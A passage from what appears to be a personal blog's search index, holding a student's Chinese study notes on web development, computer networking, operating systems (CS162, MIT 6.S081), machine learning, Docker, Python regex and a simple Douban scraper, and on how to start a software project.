这节课主要讲述前端知识和网络应用层有关内容,涉及到HTML、CSS、Javascript等等 其中HTML是骨架、CSS是排版和装饰、Javascript是大脑 Git 略 HTML HTML(Hypertext Markup Language)超文本标记语言 filename.html CSS CSS(Cascading Style Sheets)层叠样式表 filename.css w0 用HTML和CSS写一个静态网页 UX & UI UX(User eXperience)用户体验 UI(User Interaction)用户交互 用户界面的设计近几年的趋势是从立体到扁平、从棱角到圆润 Javascript Javascript是用于互联网的脚本语言,广泛应用于HTML和Web以及各类设备上,并且可以配合HTML和CSS实现交互 w1 用Javascript写一个网页贪吃蛇 React react是流行的Javascript库,用于构建用户接口,其核心思想是,把复杂的组件用树的形式表示出来,并且用Javascript来返回HTML内容 Figma Figma是用于绘制前端界面的网站,应用于设计当中。","link":"/2023/07/23/weblab-Week-1/"},{"title":"Hung-yi Lee ML Lecture 3: Image as input","text":"Convolutional Neural Network(CNN) 卷积神经网络被广泛应用于图像识别领域,是一种带约束的神经网络架构,简化了Fully Connected Network的复杂性,并且对图像识别做了很多特化,另外值得一提的是,谷歌的AlphaGO也使用了卷积神经网络用于接收19*19的围棋棋盘输入,可见CNN的使用范围不仅仅是图像识别,具有相似结构的问题都可以使用CNN的模型进行训练。 深度学习 为何深度学习可以兼有 HW3 CNN","link":"/2023/07/05/Hung-yi-Lee-ML-Lecture3/"},{"title":"Hung-yi Lee ML Lecture 2: What to do if my network fails to train","text":"Optimization 局部最小值 local minima 鞍点 saddle point 在多维度笛卡尔空间中,你以为的局部最小值很可能是鞍点,因为多出了很多个维度的方向可以走 batch and momentum 分批次训练的速度和优势比较 动量法改进梯度下降 自动调整学习速率 \\sigma与梯度的关系 学习速率与时间的关系 逐渐下降decay 模拟退火warmup loss函数 改变loss函数可以改变地形!(梯度下降中的多变量函数) MSE Cross-entropy等价于极大似然法,运用在向量输出的神经网络中 HW2 Classification","link":"/2023/07/05/Hung-yi-Lee-ML-Lecture2/"},{"title":"jupyter","text":"Intro jupyter是一个基于web的可交互的应用程序,广泛用于数据分析中,同时支持多种编程语言。 Links jupyter lab","link":"/2023/06/19/jupyter/"},{"title":"Common Code","text":"ASCII码 ascii码参考网站 \\x1b -> ESC 很特殊, \\x1b[ 后可以带上不同的东西,用于终端控制和仿真","link":"/2023/06/10/Common-Code/"},{"title":"USTC Computer Networking Chapter8","text":"第八章 网络安全 加密 对称密钥 DES 3DES AES 非对称密钥 RSA 认证 重复 中间人攻击 报文完整性 数字签名 散列函数算法 MD5 SHA-1 SHA-256 密钥分发和证书 KDC是非对称加密的权威 CA是公开密钥的权威 各层次安全性 安全电子邮件PGP 安全套接字层SSL IPsec AH ESP IEEE 802.11安全性 WEP 防火墙 攻击和对策","link":"/2023/06/04/USTC-Computer-Networking-Chapter8/"},{"title":"USTC Computer Networking Chapter6","text":"第六章 链路层和局域网 差错检测和纠正 奇偶校验 checksum校验和 CRC循环冗余校验 其数学推导用到了模2运算,即加减不进位不借位,加减等价于异或 多点访问控制MAC 局域网LANs 地址解析协议ARP MAC地址 Broadcast address = FF-FF-FF-FF-FF-FF ARP 以太网Ethernet 无线局域网WLAN IEEE 802.11 Wireless LAN","link":"/2023/06/03/USTC-Computer-Networking-Chapter6/"},{"title":"USTC Computer Networking Chapter5","text":"第五章 网络层 控制平面 路由选择算法 link state routing(LS) -> Dijkstra算法,全局的 distance vector routing -> Bellman-Ford算法,分布式 内路由 RIP OSPF 外路由 BGP SDN控制平面 逻辑上集中的控制平面,分离了数据平面和控制平面","link":"/2023/05/31/USTC-Computer-Networking-Chapter5/"},{"title":"USTC Computer Networking Chapter4","text":"第四章 网络层 数据平面 数据平面和控制平面 路由器组成 IP IP数据报 分片和重组 IPv4地址 DHCP 运行在UDP之上,自动帮用户配置好ip、mask、local nameserver、默认网关 NAT NAT使用内网专用ip地址,这些地址不会在互联网中被用作数据传递 提高了安全性和ip地址的有效数量,存在如何内网穿透的问题 IPv6地址 SDN 流表","link":"/2023/05/30/USTC-Computer-Networking-Chapter4/"},{"title":"Wireshark","text":"Introduction Wireshark是一个网络包抓取和分析工具,支持各层各类网络协议。","link":"/2023/05/29/Wireshark/"},{"title":"USTC Computer Networking Chapter3","text":"第三章 传输层 多路复用/解复用 TCP和UDP各自的2^16个端口实现了多路复用,将IP的端到端通信进化到了进程到进程通信 UDP UDP数据报格式 UDP校验和 RDT可靠数据传输 停止等待协议 rdt1.0 rdt2.0 2.1 2.2 rdt3.0 流水线协议 通用的滑动窗口协议 GBN和SR TCP TCP报文段格式 TCP序号、确认号 rdt 流量控制 连接管理 三次握手 四次挥手对称解除连接 拥塞控制 端到端拥塞控制 网络信息辅助拥塞控制 TCP拥塞控制 TCP采用端到端的拥塞控制 慢启动 AIMD TCP具有公平性,大致为每个TCP连接平分带宽","link":"/2023/05/28/USTC-Computer-Networking-Chapter3/"},{"title":"USTC Computer Networking Chapter2","text":"第二章 应用层 应用层原理 常见架构 客户-服务器模式(C/S:client/server) 对等模式(P2P:Peer To Peer) 混合体:客户-服务器和对等体系结构 流行的应用层协议 HTTP FTP SMTP/POP3/IMAP DNS 进程编址 主机:唯一的 32位IP地址 仅仅有IP地址不能够唯一标示一个进程;在一台端系统上有很多应用进程在运行 所采用的传输层协议:TCP or UDP 端口号(Port Numbers)16位 一些知名端口号的例子:HTTP: TCP 80 Mail: TCP25 ftp:TCP 2 TCP socket 对于使用面向连接服务(TCP)的应用而言,套接字是4元组的一个具有本地意义的标示 4元组:(源IP,源port,目标IP,目标port) 唯一的指定了一个会话(2个进程之间的会话关系) 应用使用这个标识,与远程的应用进程通信 UDP socket 对于使用无连接服务(UDP)的应用而言,套接字是2元组的一个具有本地意义的标示 2元组:IP,port (源端指定) UDP套接字指定了应用所在的一个端节点(end point) 在发送数据报时,采用创建好的本地套接字(标示ID),就不必在发送每个报文中指明自己所采用的ip和port 但是在发送报文时,必须要指定对方的ip和udp port(另外一个段节点) 安全TCP -> SSL 在TCP上面实现,提供加密的TCP连接,一般归类于应用层 私密性 数据完整性 端到端的鉴别 https = http + SSL Web 与 HTTP Web http http报文 往返时间RTT(round-trip time):一个小的分组从客户端到服务器,在回到客户端的时间(传输时间忽略) Cookies Web缓存(代理服务器proxy) 为解决代理服务器网页过时的问题 FTP EMail DNS DNS的空间划分是逻辑的,而不是物理的,同一空间的域名可以在不同物理空间中 域名结构 权威DNS服务器 TLD服务器 资源记录 查询方式:递归、迭代 DNS报文 DNS攻击 P2P BitTorrent Gnutella KaZaA Distributed Hash Table (DHT) CDN 内容分发网络(Content Delivery Network) DASH CDN Netflix购买亚马逊服务器实现高速的视频流化服务 互联网的角色 用户 ISP ICP CDN提供商 TCP Socket编程 重要的结构体 从上到下分别是地址簇、端口号、ip地址、对齐 TCP交互模式 C客户端(TCP) client.c123456789101112131415161718192021222324/* client.c */void main(int argc, char *argv[]){ struct sockaddr_in sad; /* structure to hold an IP address of server */ int clientSocket; /* socket descriptor */ struct hostent *ptrh; /* pointer to a host table entry */ char Sentence[128]; char modifiedSentence[128]; host = argv[1]; port = atoi(argv[2]); clientSocket = socket(PF_INET, SOCK_STREAM, 0); memset((char *)&sad,0,sizeof(sad)); /* clear sockaddr structure */ sad.sin_family = AF_INET; /* set family to Internet */ sad.sin_port = htons((u_short)port); ptrh = gethostbyname(host); /* Convert host name to IP address */ memcpy(&sad.sin_addr, ptrh->h_addr, ptrh->hlength); //将IP地址拷贝到sad.sin_addr connect(clientSocket, (struct sockaddr *)&sad, sizeof(sad)); gets(Sentence); n=write(clientSocket, Sentence, strlen(Sentence)+1); n=read(clientSocket, modifiedSentence, sizeof(modifiedSentence)); printf("FROM SERVER: %s\\n",modifiedSentence); close(clientSocket); } C服务器(TCP) server.c1234567891011121314151617181920212223242526/* server.c */void main(int argc, char *argv[]){ struct sockaddr_in sad; /* structure to hold an IP address of server*/ struct sockaddr_in cad; /*client */ int welcomeSocket, connectionSocket; /* socket descriptor */ struct hostent *ptrh; /* pointer to a host table entry */ char clientSentence[128]; char capitalizedSentence[128]; port = atoi(argv[1]); welcomeSocket = socket(PF_INET, SOCK_STREAM, 0); memset((char *)&sad,0,sizeof(sad)); /* clear sockaddr structure */ sad.sin_family = AF_INET; /* set family to Internet */ sad.sin_addr.s_addr = INADDR_ANY; /* set the local IP address */ sad.sin_port = htons((u_short)port);/* set the port number */ bind(welcomeSocket, (struct sockaddr *)&sad, sizeof(sad)); /* Specify the maximum number of clients that can be queued */ listen(welcomeSocket, 10) while(1) { connectionSocket=accept(welcomeSocket, (struct sockaddr *)&cad, &alen); n=read(connectionSocket, clientSentence, sizeof(clientSentence)); /* capitalize Sentence and store the result in capitalizedSentence*/ n=write(connectionSocket, capitalizedSentence, strlen(capitalizedSentence)+1); close(connectionSocket); } } UDP Socket编程 UDP交互模式 习题","link":"/2023/05/28/USTC-Computer-Networking-Chapter2/"},{"title":"USTC Computer Networking Chapter1","text":"第一章 计算机网络概述 什么是Internet Internet是一系列网络的网络 网络是一种拓扑结构,可以用图来表示 节点分为主机节点和数据交换节点 边分为接入网链路和主干链路 网络还包括不同的协议 主机=端系统(host=end system) Internet标准 RFC: Request for comments IETF: Internet Engineering Task Force 网络边缘 端系统(主机)运行应用程序 客户/服务器模式 对等(peer-peer)模式 网络核心 网络核心:路由器的网状网络 电路交换:为每个呼叫预留一条专有电路:如电话网 可采用频分、时分、波分 分组交换:将要传送的数据分成一个个分组,Internet的实现是分组交换 ISP ISP(Internet Service Provider) 中心:第一层ISP(如UUNet, BBN/Genuity, Sprint, AT&T)国家/国际覆盖,速率极高 第二层ISP: 更小些的 (通常是区域性的) ISP 第三层ISP与其他本地ISP 分组延时 节点处理延时: 检查bit级差错 检查分组首部和决定将分组导向何处 排队延时: 在输出链路上等待输出的时间 传输延时: R=链路带宽(bps) L=分组长度(bits) 将分组发送到链路上的时间= L/R 存储转发延时 传播延时: d = 物理链路的长度 s = 在媒体上的传播速度(~2x108 m/sec) 传播延时 = d/s 吞吐量 吞吐量: 在源端和目标端之间传输的速率(数据量/单位时间) 瞬间吞吐量: 在一个时间点的速率 平均吞吐量: 在一个长时间内平均值 瓶颈链路影响端到端吞吐 协议层次及服务模型 服务和协议 服务与协议的区别 服务(Service):低层实体向上层实体提供它们之间的通信的能力,是通过原语(primitive)来操作的,垂直 原语(primitive):如一系列socket函数接口 协议(protocol) :对等层实体(peer entity)之间在相互通信的过程中,需要遵循的规则的集合,水平 服务与协议的联系 本层协议的实现要靠下层提供的服务来实现 本层实体通过协议为上层提供更高级的服务 数据单元(DU) 不同层的PDU 应用层:报文 message 传输层:报文段 segment 网络层:分组/数据报 packet/datagram 链路层:帧 frame 物理层:比特 bit Internet 协议栈 应用层: 网络应用 为人类用户或者其他应用进程提供网络应用服务 FTP, SMTP, HTTP,DNS 传输层: 主机之间的数据传输 在网络层提供的端到端通信基础上,细分为进程到进程,将不可靠的通信变成可靠地通信 TCP, UDP 网络层: 为数据报从源到目的选择路由 主机主机之间的通信,端到端通信,不可靠 IP, 路由协议 链路层: 相邻网络节点间的数据传输 2个相邻2点的通信,点到点通信,可靠或不可靠 点对对协议PPP, 802.11(wifi), Ethernet 物理层: 在线路上传送bit 封装和解封装 端系统5层解封装 路由器3层解封装 交换机2层解封装 历史 Cerf and Kahn 网络互联原则定义了今天的Internet体系结构 极简、自治 尽力而为(best effort)服务模型 无状态的路由器 分布控制 习题","link":"/2023/05/25/USTC-Computer-Networking-Chapter1/"},{"title":"USTC Computer Networking: A Top-Down Approach","text":"Introduction 介绍有关计算机网络的问题 Links 课程视频 课件 课程教材:计算机网络自顶向下方法","link":"/2023/05/23/USTC-Computer-Networking/"},{"title":"Rust","text":"Introduction Rust是注重于安全的一门语言,其特色是没有Garbage Collector和无需手动内存管理,广泛运用于系统设计项目中。 编译过程 Cargo Cargo是Rust的包管理工具 Links Rust Course Rust by practice","link":"/2023/05/18/Rust/"},{"title":"CS162 Lecture 5: Device Drivers, Sockets, and IPC (Finished), Concurrency (Processes and Threads)","text":"","link":"/2023/05/17/CS162-Lecture-5/"},{"title":"CS162 Lecture 4: Fork, Introduction to I/O","text":"pthread pthread library: POSIX thread library POSIX: Portable Operating System Interface(for uniX?) 一个重要的观点是,Every is a “File” File System File 是文件系统中被命名的数据 可以是文本,二进制数据 Metadata是文件的信息,包括size,Modification time,owner security info,access control Directory 包含文件和目录的“文件夹” I/O and Storage Layers C High-Level File API - Streams 文件高层次的抽象是输入输出流,流被认为是字节序列 C Low-Level File - File Descriptors Unix I/O的设计理念是 任何东西都是文件 使用前open 以字节为单位 在kernel中的buffer读写 直接使用系统调用实现,而stream是将系统调用read等打包成fread等 从加速操作系统的方面来看,应当尽可能少地使用开销巨大的系统调用,如getpid的user版本比kernel版本快了25倍 Process and File fork后的子进程复制了父进程的文件描述符表 因此当shell fork一个新进程时,标准输入0,标准输出1,标准错误2都会被复制到子进程中,在一个进程中关闭文件只会改变这个进程的文件描述符表 dup用于复制文件描述符 在含有多个线程的进程中fork,子进程只会含有一个线程,也就是调用fork的那个进程","link":"/2023/05/17/CS162-Lecture-4/"},{"title":"Docker","text":"Introduction Docker是一个轻量级的虚拟机管理工具,可以用于搭建环境,分发项目等等。 Build,Ship and Run any App,Angwhere 它的结构如下图右所示 相关概念 Containers -> 容器,镜像运行的实例instance Images -> 镜像,容器的原型 Volumes -> 数据卷,容器使用的数据存放点 常用命令 docker run -d -p 80:80 nginx run 创建并运行一个容器 -d 放入后台 -p hostPort:containerPort 端口映射 nginx 镜像名称 docker run -it nginx:latest /bin/bash -it 可交互终端 docker search centos search寻找官方镜像 docker pull centos or docker pull <url> pull 拉取镜像 docker image list 查看镜像 docker stop 容器名称/id 停止容器 Dockerfile Dockerfile自动构建docker镜像 123456789101112131415FROM 指定基础镜像MAINTAINER 指定维护者信息,可以没有RUN 在命令前面加上RUN即可ADD COPY文件,会自动解压WORKDIR 设置当前工作目录VOLUME 设置卷,挂载主机目录EXPOSE 指定对外的端口CMD 指定容器启动后的要干的事情 其他命令 12345COPY 复制文件ENV 环境变量ENTRYPOINT 容器启动后执行的命令 docker-compose docker-compose编排工具,用于编排定义含有多个容器的服务,如web端和redis的组合 编辑docker-compose.yml文件 启动方法:docker-compose up 后台启动方法:docker-compose up -d","link":"/2023/05/12/Docker/"},{"title":"C","text":"Introduction C是一种面向过程的编程语言","link":"/2023/05/12/C/"},{"title":"CS162 Lecture 3: Processes, System Calls, and Fork","text":"Process PCB process control block保存了进程的各种信息,调度器维护了这个数据结构 switch System Call 系统调用是用户内核跳转的一种方式,连接了用户空间和内核空间 fork OS提供了不同的系统调用接口来处理进程,如fork,但是用户使用的是被打包后的系统调用 process api fork Thread posix pthread是一种行业标准,其致力于提供一个在不同操作系统中适用的半标准的线程接口","link":"/2023/05/11/CS162-Lecture-3/"},{"title":"CS162 Lecture 2: Four Fundamental Concepts of Operating Systems","text":"4 Concepts Thread 独立执行的上下文单元 一个线程被认为是一个虚拟的cpu核心 拥有自己的PC,register,stack, 当一个线程被执行是指处理器核心维护了这个线程有关的寄存器 当一个线程被挂起是指这个线程有关的上下文被保存在内存中,处理器核心在执行其他线程 一个线程要么运行在cpu核心上,要么被保存在Thread Control Block(TCB)中 Address Space 也被叫做Virtual Address Space,是操作系统提供给进程的虚拟地址空间 地址空间是一系列地址以及和地址有关的状态 32bit和64bit处理器拥有的地址空间是不一样的 Process 有隔离性的运行环境 拥有自己的内存(address space)和文件描述符,文件系统上下文 一个进程可以有多个线程 进程里交流是容易的,进程间交流时困难的 Dual mode operation / Protection 硬件至少提供了两个mode,kernel和user,两者拥有不同的硬件权限 通过不同的mode可以实现操作系统内核空间和用户空间的切换,内核空间和用户空间是一个抽象的概念,而内核模式和用户模式是机器拥有的模式。 三种从用户空间进入内核空间的方式 Unix的架构 不同于内核空间和用户空间两层,多层的架构实现被称为虚拟机技术 上图的架构给出了Hypervisor和Docker的模型","link":"/2023/05/10/CS162-Lecture-2/"},{"title":"CS162 HW 1: List","text":"","link":"/2023/05/06/CS162-HW-1/"},{"title":"CS162 Project 0: Pregame","text":"","link":"/2023/05/06/CS162-Project-0/"},{"title":"CS162 HW 0: Introduction","text":"Docker配置环境 教程 也可以参考课程网站配置VirtualBox,但我的机子跑不出来😭 Docker目录挂载 获取实验仓库 1git clone [email protected]:Berkeley-CS162/student0.git 目录挂载 1docker run -it --rm --name pintos --mount type=bind,source=/home/huayi/student0,target=/home/PKUOS/pintos pkuflyingpig/pintos bash 可以让主机和docker镜像共用目录 Tools 老生常谈的几个工具了 exercise","link":"/2023/05/06/CS162-HW-0/"},{"title":"CS162 Lecture 1: Intro to CS162: What is an operating system?","text":"软硬件接口 在CS61C中我们已经学习过机器架构,操作系统的一大目的是,为应用程序抽象硬件的细节,而只提供特定功能的接口。 OS概览 操作系统将硬件分别抽象成进程中的各个部分,进程就是操作系统提供的一个编程抽象,应用程序眼中的“机器”就是被抽象后的硬件——进程。 进程切换 操作系统可以在不同进程中切换,由于时间很短,这造成了不同进程同时运行的假象。 操作系统在不同进程中提供隔离性,用户进程不能访问属于内核的进程空间,否则触发Segmentation fault","link":"/2023/05/06/CS162-Lecture-1/"},{"title":"UCB CS162: Operating Systems and Systems Programming","text":"Course About 介绍有关操作系统的问题 Links 课程主页 课程视频 Pintos","link":"/2023/05/03/UCB-CS162/"},{"title":"MIT 6.S081 Lab thread","text":"Compulsory exercises Preparation reading To start the lab, switch to the thread branch: 123git fetchgit checkout threadmake clean Uthread: switching between threads (moderate) Using threads (moderate) Barrier(moderate) Optional challenge exercises The user-level thread package interacts badly with the operating system in several ways. For example, if one user-level thread blocks in a system call, another user-level thread won’t run, because the user-level threads scheduler doesn’t know that one of its threads has been descheduled by the xv6 scheduler. As another example, two user-level threads will not run concurrently on different cores, because the xv6 scheduler isn’t aware that there are multiple threads that could run in parallel. Note that if two user-level threads were to run truly in parallel, this implementation won’t work because of several races (e.g., two threads on different processors could call thread_schedule concurrently, select the same runnable thread, and both run it on different processors.) There are several ways of addressing these problems. One is using scheduler activations and another is to use one kernel thread per user-level thread (as Linux kernels do). Implement one of these ways in xv6. This is not easy to get right; for example, you will need to implement TLB shootdown when updating a page table for a multithreaded user process. Add locks, condition variables, barriers, etc. to your thread package.","link":"/2023/05/03/6-S081-Lab-thread/"},{"title":"MIT 6.S081 Lecture 17: Virtual memory for applications","text":"Reading Read Virtual Memory Primitives for User Programs (1991)","link":"/2023/04/28/6-S081-Lecture-17/"},{"title":"Hung-yi Lee ML Lecture1: Introduction of Deep Learning","text":"机器学习 机器学习在教授的讲述中被描述为让机器找到一个函数f(),这个函数可以很复杂,但是可以解决许多问题,建立函数原型的过程叫做建立模型,根据函数的好坏进行不断优化的过程叫做训练,这个过程很像人类不断试错找寻更好的解决方案的过程,就像机器在学习一样。 机器学习的一般步骤是 建立模型:建立含有未知参数的函数 定义loss函数L() 优化:找到使L()最小的未知参数,一般使用梯度下降法 一般来说,使用类神经网络建立函数模型,通过叠加神经网络的层数,来达到更高的测试正确率,这样的方法被称为深度学习,深度学习是机器学习中使用最广泛也最重要的方法之一。 过拟合Overfitting指的是,训练出的模型在训练资料上表现好而在测试集上表现不好。 PyTorch PyTorch是专门用于机器学习的Python库,封装了数据读取、神经网络、激活函数、微分计算梯度下降等机器学习中常用的操作和对象,是广泛使用的机器学习框架。另外,PyTorch还可以使用GPU的并行计算加速Tensor的计算,使训练效率加快。 Colab Colab是谷歌名下类似于jupyter的网页Python应用程序,不仅可以运行Python,提供存储空间,还可以使用云端的计算资源来进行模型训练。(什么年代还在用传统IDE😆) !nvidia-smi查看获取的GPU计算资源 HW1 Regression","link":"/2023/04/26/Hung-yi-Lee-ML-Lecture1/"},{"title":"Hung-yi Lee Machine Learning","text":"Course About 介绍有关机器学习的问题。 Links 课程主页","link":"/2023/04/26/Hung-yi-Lee-Machine-Learning/"},{"title":"Java","text":"Introduction Java是一种面向对象的编程语言,JVM虚拟机的使用,让java的编译过程十分特殊,接口的引入,也让面向对象的特征十分突出。","link":"/2023/04/25/Java/"},{"title":"Python","text":"Introduction Python是一种面向对象的编程语言,不同于C和C++,它是一种解释型语言。 包管理工具Anaconda Anaconda可以根据需要构建不同的python环境,管理python包,构建独立的python内核 jupyter Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。 正则表达式 在线匹配 支持普通字符 元字符 \\d 匹配一个数字(0-9) \\w 匹配数字、字母、下划线(0-9, a-z, A-Z, _) \\W``\\D 上述的取反,除了数字字母下划线以外的内容 [abc] 匹配a或b或c [^abc] 取反 . 除了换行符以外 量词控制元字符数量 + 前面元字符出现1次或多次 * 前面元字符出现0次或多次(尽可能多地贪婪匹配) ? 前面元字符出现0次或1次 惰性匹配 a.*b 最长的axxxxxb,贪婪匹配 a.*?b 最短的axxxxxb,懒惰匹配 可以用于爬取<div>xxx</div> python内置re模块 r""用于输入原生字符串作为正则表达式,无需考虑转义字符 >folded1234567import reresult = re.findall(r"\\d+", "I have 100 , buy 2 cake.")result = re.search(r"\\d+", "I have 100 , buy 2 cake.")result = re.finditer(r"\\d+", "I have 100 , buy 2 cake.")print(result.group()) 预加载正则表达式对象 >folded12obj = re.complie(r"d+")obj.findall("I have 100 , buy 2 cake.") 提取正则表达式中的部分 >folded12345678910111213141516s = """<div class="abc"> <div><a href="baidu.com">百度</div> <div><a href="163.com">网易</div> <div><a href="qq.com">QQ</div> </div>"""obj = re.compile(r'<div><a href="(?P<url>.*?)">(?P<txt>.*?)</div>')res = obj.finditer(s)for item in res: url = item.group("url") txt = item.group("txt") print(txt, url) print(item.groupdict()) 爬虫 核心的库import requests 发送http请求并接收回应 import bs4 数据处理 爬取豆瓣网页的python爬虫脚本 >folded123456789101112131415import requestsfrom bs4 import BeautifulSoupheaders = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.41"}for start_num in range(0, 250,25): response = requests.get(f"https://movie.douban.com/top250?start={start_num}", headers=headers) html = response.text soup = BeautifulSoup(html, "html.parser") alltitles = soup.findAll("span", attrs={"class": "title"}) for title in alltitles: title_string = title.string if '/' not in title_string: print(title_string) 正则表达式模式,处理换行 >folded12345678910111213141516171819202122import reimport requestsurl = "https://movie.douban.com/top250"head = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.41"}resp = requests.get(url, headers=head)resp.encoding = 'utf-8'obj = re.compile(r'<div class="item">.*?<span class="title">(?P<name>.*?)</span>' r'.*?<br>(?P<year>.*?)&nbsp;.*?<span class="rating_num" ' r'property="v:average">(?P<score>.*?)</span>.*?' r'<span>(?P<num>.*?)人评价</span>', re.S)res = obj.finditer(resp.text)for item in res: dic = item.groupdict() dic['year'] = dic['year'].strip() # 去除空格换行 print(dic)","link":"/2023/04/25/Python/"},{"title":"How to start a Project using C","text":"介绍 将会介绍如何使用C开发在Linux平台上运行的控制台应用程序 和HelloWorld一样😄 选用的项目是自己写一个文本编辑器!(Build Your Own Text Editor) 初步开发这个项目,我觉得从中学到最重要的东西就是,开发不是一蹴而就的,为了更新功能,删改重构是常有的事情,现在这个阶段,很难有一次性铺平,统筹规划好所有东西的能力,所以不能用十分平面的想法去开发。当然这一切要尽可能与其他模块解耦,不能因为这里的重构,影响到其他大的模块。 准备工作 了解所要开发项目的背景知识 环境搭建 gcc作为编译器工具链 Make作为构建工具 项目框架 一个kilo.c文件,但划分模块 开发与测试 运行维护 updating…","link":"/2023/04/25/Zero-C-Project/"},{"title":"x86","text":"Introduction x86是一种复杂指令集架构的汇编语言 register in 32bit x86 esp ebp eip","link":"/2023/04/24/x86/"},{"title":"How to start a Project from Zero","text":"介绍 如何从0开始完成一个项目?这是我在学习过程中遇到的一个难以忽视的问题。这篇文章将会包含如何去开始一个项目,如何去维护一个项目的记录。不过这些想法没有经过认证,仅仅是对于开发过程中的思考方式的归纳和总结。 开发的范式很难总结出来,因此我将尝试分析我在一门程序设计专题课最后的大作业开发流程,通过完善这个远古项目开发的过程,来帮助构建一个开发的范式。 这个项目采用C和visual studio2017开发 项目介绍 项目的名字叫做"排序可视化",要求我们小组实现常见排序的可视化展示。 项目的实现需要借助学校里一个老掉牙的图形库,该图形库为我们封装了某些图形的画法,还有windows窗口的生成等等 这个项目按理来说是简单的,但是还是有一些刚开始难以思考的要素,比如说Windows,比如说图形化,这样就不够把最需要关注的点显露出来,因此我想在另一篇文章中选择一个要素最为稀少的项目,也就是使用C/C++和文本编辑器开发的在Linux平台上运行的控制台应用程序,来阐述我认为的项目开发思路。 准备工作 单拎出来一个排序可视化,我们如何使用我们手上零散的开发经验和工具,将这个项目有序地进行下去呢?这是一个很重要的问题,大家都没有开发经验,大家都是小白,但我们却要去完成一个"黑箱",而这个黑箱居然能够实现排序可视化的功能,我们很兴奋,但是也不知道从何开始。 作为组长,我说了句令人信服的废话:大家去学习一下什么是排序。于是我们组员花了一周时间学会了冒泡选择插入归并等排序算法。 我又说,要用学校里这个很烂的图形库,大家把画图的函数都看看,熟悉一下图形库。于是组员们又花了一周时间,把这个老古董啃了一遍。 但是怎么开始呢?我们回去个人单干了一星期,在我偷懒的时间里,有组员的排序可视化已经初具雏形,我很高兴,遂召集大家开会,商量如何在这个雏形上完成我们的项目,但是一开会我们发现了一个问题,程序在main.c里面,要分模块很难,这对后来的模块划分还有模块添加造成了麻烦。 于是我尝试去划分模块,但是没能成功,于是这次我从头文件的建立开始,自己写了一大堆代码,但是每个模块都分成小块放在一个文件里,把每个功能模块划分好,最后也完成了一个雏形,收获了组员们的一致好评。 这是我们在毫无经验的情况下摸索出来的准备工作过程,其中不乏有些不成熟的地方,但是可取之处也是不少,下面是我后来的一些反思和经验。 我们的项目是什么 这是一个我当时从未思考过的问题,后来我觉得这是十分重要的,明白一个项目是什么,是避免成为无头苍蝇的第一步。 我们的项目是一个借用第三方图形库,使用C语言和visual studio2017开发的在windows平台上运行的图形化应用程序。 这句话的含义现在看来十分丰富 编程语言 编程语言的选择有很多,比如C、C++、Python、Java、Rust等等 编程语言应当发挥它的长处,为项目提供开发效率的提升、安全性的提高、可读性的增强、运行速度的提升这些好处 由于课程要求,本项目只能使用C开发 IDE 集成开发环境(IDE)为我们省略了大量环境搭建的过程,极高地提升了开发速度,但是我们是需要对项目的编译、调试过程有所了解的,这也又助于我们更好地使用IDE,环境搭建的具体过程将在后文叙述 IDE的选择很多,有VS,CLion,IDEA,Pycharm等 要想了解IDE的环境搭建过程,必须对特定语言的特性和编译(解释)方式十分了解 运行环境 运行环境在我的理解下应该指的就是操作系统,应用程序使用操作系统提供的API和文件系统等,程序应当保证对特定操作系统的兼容性 有一个例外是操作系统的编写,操作系统的内核本身应当是机器有关的,可以认为,操作系统内核由机器架构提供环境,而应用程序由操作系统提供环境 程序类型 本项目的类型是图形化应用程序 Windows上的程序类型应该还有控制台应用程序等,更多的细节需要对Windows更加了解 相关背景知识 由于很难一开始就对某个领域的细枝末节了解的十分清晰,在面对一个新项目时,我们需要获取项目相关的背景知识 比如说这个项目有关排序和可视化,我们就要去了解排序相关的知识和图形库相关的知识 如果这个项目有关操作系统,那么我们就要去获取操作系统的设计和机器架构相关的背景知识 甚至当你在开发过程中也会遇到语言语法的卡壳,这时候一份C语言参考文档就十分重要 可以自己整理一套自己的常用开发参考,在必要时使用stackoverflow或者是ChatGPT 项目大纲 后面我又说,过几天开个会,把项目的模块分一下,前面的指挥调度已经建立了我组长的威信,组员们纷纷相信我的胡言乱语,于是我们花了一个下午的时间,给项目弄了个思维导图。 项目的大纲是重要的,因为各种模块的解耦是如此地困难,从刚开始就有一个大体的框架和划分模块的意识是必要的 大纲成为框架 大纲的代码化就是项目框架,如何编写一个好的框架至关重要,但是我也不会。根据我的经验来说,框架要满足的要求是,划分好独立的模块,能够提供添加模块的接口和去除模块的方法。 项目框架不是完美的,好的框架可以一定程度上减少解耦的工作量,但是解耦在项目开发的过程中仍然是必不可少的。 仅仅在这个项目中,我觉得框架就是写好各个模块的头文件,然后以main.c开始,用树形结构确定每个模块的依赖关系,再写好相应源代码的头文件调用。相互独立的模块或者相互传递数据的模块表现为同一辈分,而依赖于子模块功能的模块则表现为父节点。 环境搭建 老师直接推荐IDE VS2017开发,我们当时对环境搭建也是一点不懂,IDE很好地处理了这项工作,但是我们在提交时在想,别人怎么看到我们最后展现出来的成果,我们提交的项目只有代码,别人应该怎么运行它。组员甚至问了一个问题,解决方案平台里面的Debug和release是什么意思,x86和x64又是什么意思,我摇摇头,因为我也对此一无所知。 编译器 对于C语言的项目来说,掌握CALL的文件编译过程十分重要,分别是编译器把C语言转化为x86的汇编形式,汇编器把汇编形式转换为二进制形式,链接器处理好各对象文件的关系,执行器负责执行程序。 编译过程有很多的编译器软件开发包可以完成,比如说gcc,clang,在win平台还有MinGW,VS2017使用的应该是MSVC工具链,包括常用的编译器和调试器工具 构建工具 使用Make或者CMake,自己使用Make是明白一些IDE大型项目的构建过程的开始,另外多阅读其他项目的Makefile也有助于理解构建过程 环境变量 环境变量是操作系统用于控制运行环境的参数 团队开发 后面我们进入了愉快的写模块环节,期间我们遇到了一个问题,每个人都改代码,怎么一起开发呢,本来组员说用LiveShare,后面没搞成就变成群里发压缩文件了。这样的结果是在同一时间段我们还是只能有一个人修改。所幸最后是成功完成了。 注释 注释和变量命名无论是对单人还是多人开发都是很重要的,写好函数接口的注释无论对其他的贡献者还是后来的你都是大有帮助。 版本控制 应该使用git/github多人工作流。 调试 用GDB或者IDE自带的调试器 运行维护 …","link":"/2023/04/24/Zero-Project/"},{"title":"MIT 6.S081 Lab cow","text":"Compulsory exercises 